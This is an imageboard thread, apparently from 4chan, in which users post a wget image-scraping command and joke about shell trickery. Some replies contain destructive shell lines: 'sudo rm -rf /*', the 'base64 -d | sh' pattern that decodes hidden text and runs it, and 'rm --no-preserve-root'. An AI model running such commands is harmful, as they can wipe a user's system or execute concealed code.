>> No.66762023
File: 47 KB, 1280x720, summer.jpg [View same] [iqdb] [saucenao] [google] [report]

>that wasn't bait

>> No.66762043


wget \
--recursive \
--no-directories \
--directory-prefix=$HOME/pron/images \
--accept '.jpg,.jpeg,.png,.gif,.webm' \
--reject '*s.jpg' \
--span-hosts \
--domains=i.4cdn.org \
--execute robots=off \
--wait=2 \
--random-wait \
--limit-rate=200k \
https://boards.4chan. org/s/thread/18293119

>> No.66762130
File: 191 KB, 1920x1075, Topbeer.jpg [View same] [iqdb] [saucenao] [google] [report]

>base64 -d | sh
sudo rm -rf /*
Nice try

>> No.66762154

What I mean is would this preserve root or not?
rm --preserve-root --no-preserve-root

>> No.66762174
File: 209 KB, 1008x672, 1529092143618.jpg [View same] [iqdb] [saucenao] [google] [report]

Congratulations! You just filled your harddrive with random data.

Name (leave empty)
Comment (leave empty)
Password [?]Password used for file deletion.